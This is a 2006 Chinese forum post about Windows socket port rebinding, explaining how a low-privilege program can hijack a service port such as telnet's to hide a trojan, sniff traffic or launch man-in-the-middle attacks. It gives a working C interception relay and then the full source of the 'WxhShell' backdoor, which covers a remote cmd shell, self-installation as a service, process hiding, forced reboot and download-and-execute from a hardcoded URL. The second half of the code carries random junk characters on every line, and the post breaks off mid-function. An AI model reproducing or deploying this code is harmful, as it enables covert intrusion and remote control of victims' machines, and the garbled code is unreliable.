[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; .t{uzDM
if(chr[0]==0xd || chr[0]==0xa) { NL!xkcXO
pwd=0; TY` R_
break; %O7?:#_
} m93{K7O2e
i++; fQ_tXY
} N~S#(.}[
oDGBC
// 如果是非法用户，关闭 socket %Rk0sfLvn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &[yYgfsp
} /^WawH6)6
\rS-}DG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VwarU(*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^a!oq~ZSy
m}6>F0Kv
while(1) { `;m0GU68
SLvo)`Nc3-
ZeroMemory(cmd,KEY_BUFF); -:b<~S[
p-7?S^!l
// 自动支持客户端 telnet标准 8. %g&%S
j=0; \oP
while(j<KEY_BUFF) { ,.Lo)[(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *;lb<uLv
cmd[j]=chr[0]; l[nf"'
if(chr[0]==0xa || chr[0]==0xd) { >9<rc[
cmd[j]=0; DnF|wS
break; G2:.8ok
} Fg2/rC:_
j++; ZMK1V)ohn
} zThut!O
e)F_zX
// 下载文件 W)Yo-%
if(strstr(cmd,"http://")) { V<KjKa+sG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xxm7s S
if(DownloadFile(cmd,wsh)) V:AA{<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^[2siG
else ]Rmu+N|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :/}=s5aQl/
} 1O90 ]c0
else { fECmELd
= mhg@N4
switch(cmd[0]) { Yg1HvSw\
Z/;8eb*B7
// 帮助 QxBH{TG
case '?': { 8PG&/"K
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FGpV ]p
break; J]Q-#g'Z
} h?GE-F
// 安装 2k`Q+[?{q>
case 'i': { ~k ]$J|}za
if(Install()) 8,B#W#*{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G/KTF2wl7
else ~BXy)IB6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2nSz0 .
break; @,pn/[
} H\|H]:CE
// 卸载 ]:4\rBR3
case 'r': { }</"~Kw!
if(Uninstall()) op_ 1J;RF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2W63/kRbU
else Ye[Fu/0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SQJ4}w>i
break; #*}cc
} rFto1m
// 显示 wxhshell 所在路径 miY=xwK&
case 'p': { EDA6b]
char svExeFile[MAX_PATH]; b|Eo\l2
strcpy(svExeFile,"\n\r"); *uF Iw}C/
strcat(svExeFile,ExeFile); 01+TVWKX
send(wsh,svExeFile,strlen(svExeFile),0); C3C&hq\%
break; `O?j -zR
} W{kTM4
// 重启 [Lf8*U"
case 'b': { 4&B|rf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *+J`Yk7}
if(Boot(REBOOT)) O+~@S~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Oe8h#%
else { d ?,wEfwp
closesocket(wsh); \YH*x`
ExitThread(0); Oc/ i'
} F[0w*i&u5
break; z+nq<%"'
} SCq3Kh
// 关机 ZVCa0Km
case 'd': { D#X&gE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (i]0IYMXy*
if(Boot(SHUTDOWN)) z+Ej`$E{lD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {=P}c:iW
else { iDlg>UYd
closesocket(wsh); q9(hn_X@/
ExitThread(0); 1_)Y{3L
} |eej}G(,m}
break; sTi3x)#xB
} #-g2p?+i&
// 获取shell HU-#xK
case 's': { :2;c@ uj
CmdShell(wsh); -L2%,.E>4
closesocket(wsh); ~fz9PoC
ExitThread(0); m=MM
break; -QQU>_
} f5#VU7=1F2
// 退出 %){)/~e&
case 'x': { Gg5>~"pb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .[vYT.LE
CloseIt(wsh); Z7dVy8J
break; )oMMDHw\
} M`|E)Y
// 离开 D(Q=EdlO
case 'q': { )AAPT7!U
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6W N(Tw
closesocket(wsh); zUJPINDb
WSACleanup(); D(">bR)1
exit(1); Jrx]/CM
break; ^:o^g'Yab
} DA/\[w?J
} ?L>}( {9
} >]?!9@#IH
~4ysg[`
// 提示信息 ]hY4 MS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WNiM&iU
} W%K=N-kE_
} ?qczMck_
3}i(i0+
return; j4eq.{$
} \l/<[ZZ
+Pb@@C&
// shell模块句柄 ":01M},RA
int CmdShell(SOCKET sock) Yr 1k\q
{ ?4lEHef
STARTUPINFO si; bU_P@GKB
ZeroMemory(&si,sizeof(si)); S| l%JM^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x7c#kU2A&Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #h2 qrX&+
PROCESS_INFORMATION ProcessInfo; ^xF-IA#ZeB
char cmdline[]="cmd"; *Q,9 [k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s^-o_K\*c
return 0; o1rH@D6/-
} :74G5U8%
5m rkw
// 自身启动模式 0|`iop%(n
int StartFromService(void) +(##B pC
{ wRQMuFGY
typedef struct VJ|80?4h
{ M7\KiQd
DWORD ExitStatus; wWB^m@:4
DWORD PebBaseAddress; L7$1rO<
DWORD AffinityMask; )|L#i2?:
DWORD BasePriority; Xa&0j&AH
ULONG UniqueProcessId; 604^~6
ULONG InheritedFromUniqueProcessId; C)+%9Edg
} PROCESS_BASIC_INFORMATION; !R1OSVFp
ddvtBAX
PROCNTQSIP NtQueryInformationProcess; rJc=&'{&)N
?YhGW
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =_,j89E
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E3h-?ugO'
3 bll9Ey
HANDLE hProcess; Ip;;@o&D
PROCESS_BASIC_INFORMATION pbi; "$N 4S9U
k\lU Q\/O5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =42NQ{%@;
if(NULL == hInst ) return 0; ?bl9e&/!
B3V+/o6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -^= JKd&p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d8/KTl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (KdP^.7
Z}$1~uyw
if (!NtQueryInformationProcess) return 0; ^h"F\vIpV
]Kp -2KW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8jfEvwY
if(!hProcess) return 0; %jj\w>
H.[t&VO
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @ R;o $n
3+WostOx
CloseHandle(hProcess); !i?aRI/6
,L^ag&!4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &8QkGUbS<
if(hProcess==NULL) return 0; }y#aO
9c=`Q5
HMODULE hMod; >d5L4&r
char procName[255]; km9@*@)
unsigned long cbNeeded; 0*8uo Wt&
A<[X@o}92
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [fr!J?/@
ny[\yj4F
CloseHandle(hProcess); YEhPAQNj
eLN[`hJ
if(strstr(procName,"services")) return 1; // 以服务启动 E#mpj~{-
qre(3,VE5
return 0; // 注册表启动 IyGW>g6_.
} khfWU
oD~q/04!
// 主模块 $1;@@LSw
int StartWxhshell(LPSTR lpCmdLine) 9Gk#2
{ -v62 s
SOCKET wsl; '7>Yrzq
BOOL val=TRUE; QF9$SCmv
int port=0; ,(&5y:o
struct sockaddr_in door; |bv7N@?e
\-R\xL
if(wscfg.ws_autoins) Install(); Z6_E/S
cg'z:_l
port=atoi(lpCmdLine); AWz|HF#-
yVbyw(gS
if(port<=0) port=wscfg.ws_port; 38gEto#q
nSeb?|$D6
WSADATA data; tz`T#9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jinXK
.+dego:
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =z +iI;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q@? {|7:
door.sin_family = AF_INET; gWHjI3;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2, r{zJ8
door.sin_port = htons(port); vy1N,8a
R#Hz%/:|A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TWTh!
closesocket(wsl); P_%kYcX'
return 1; rZ^VKO`~I1
} ^<QF*!
QDJe:\n
if(listen(wsl,2) == INVALID_SOCKET) { .[>UkM0
closesocket(wsl); >'2=3L^Q
return 1; 7DCu#Y[
} WS1$cAD2N
Wxhshell(wsl); 8VR! Y0`e
WSACleanup(); hR%2[lBn!]
3[}w#n1
return 0; V.Qy4u7m
Xo~kB)|,
} pQ9~^
A!fRpN
// 以NT服务方式启动 TrmrA$5f
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _"'0^F$I
{ C&-]RffA
DWORD status = 0; Cy'! >
DWORD specificError = 0xfffffff; G.sf>.[
RL~]mI!U
serviceStatus.dwServiceType = SERVICE_WIN32; 6SN$El 0|G
serviceStatus.dwCurrentState = SERVICE_START_PENDING; x] j&Knli
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LCkaSv/[RB
serviceStatus.dwWin32ExitCode = 0; \s">trXwX
serviceStatus.dwServiceSpecificExitCode = 0; W#lt_2!j
serviceStatus.dwCheckPoint = 0; fW8whN
serviceStatus.dwWaitHint = 0; Jqgo\r%`
5R/k8UZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (G`O[JF
if (hServiceStatusHandle==0) return; wQw y+S
6V6,m4e
status = GetLastError(); >q)VHV9P
if (status!=NO_ERROR) p28=l5y+
{ g"Gj8QLDz
serviceStatus.dwCurrentState = SERVICE_STOPPED; vN3uLz'<
serviceStatus.dwCheckPoint = 0; [-'LJG Wb<
serviceStatus.dwWaitHint = 0; ^9A,j}>o-
serviceStatus.dwWin32ExitCode = status; V"R,omh
serviceStatus.dwServiceSpecificExitCode = specificError; cHk ?$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |FH|l#bu>
return; 2;&!]2vo$
} A_JNj8<6r
w>uo-88
serviceStatus.dwCurrentState = SERVICE_RUNNING; ZRLS3*`
serviceStatus.dwCheckPoint = 0; '?dT<w=Y&
serviceStatus.dwWaitHint = 0; f4r)g2Zb[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h^=9R6im
} RqRyZ*n
Nr:%yvk%s
// 处理NT服务事件，比如：启动、停止 {'1e?
VOID WINAPI NTServiceHandler(DWORD fdwControl) muKCCWy#
{ !0!r}#P
switch(fdwControl) #5}v?
{ /E<:=DD<
case SERVICE_CONTROL_STOP: i!dQ Sdf
serviceStatus.dwWin32ExitCode = 0; d+158qQOh]
serviceStatus.dwCurrentState = SERVICE_STOPPED; +EE(d/f
serviceStatus.dwCheckPoint = 0; W+D{4:
serviceStatus.dwWaitHint = 0; RLr^6+v)U
{ ?-D'xqc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~sbn"OS+
} nh?~S`
return; fMZzR|_18
case SERVICE_CONTROL_PAUSE: Q_M:v
serviceStatus.dwCurrentState = SERVICE_PAUSED; `as6IMqJD
break; Z}s56{!.
case SERVICE_CONTROL_CONTINUE: 4]mAV\1
serviceStatus.dwCurrentState = SERVICE_RUNNING; }N%uQP#I
break; j]bNOC2.L
case SERVICE_CONTROL_INTERROGATE: ;Br #e1~
break; .l}oxWWoS
}; "E}38
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l"app]uVZ
} HA0Rv#p
Yi+$g
// 标准应用程序主函数 z`KP }-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8bI;xjK^Q
{ pA?2UZ
w~l%xiC
// 获取操作系统版本 ?QG?F9?
OsIsNt=GetOsVer(); t'im\_$F
GetModuleFileName(NULL,ExeFile,MAX_PATH); d+Au`'{>
rugR>&mea
// 从命令行安装 FvT;8ik:3
if(strpbrk(lpCmdLine,"iI")) Install(); &NB"[Mm:@
L|N[.V9
// 下载执行文件 q$BS@
if(wscfg.ws_downexe) { ^U[yk'!Y
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~fR-cXj"
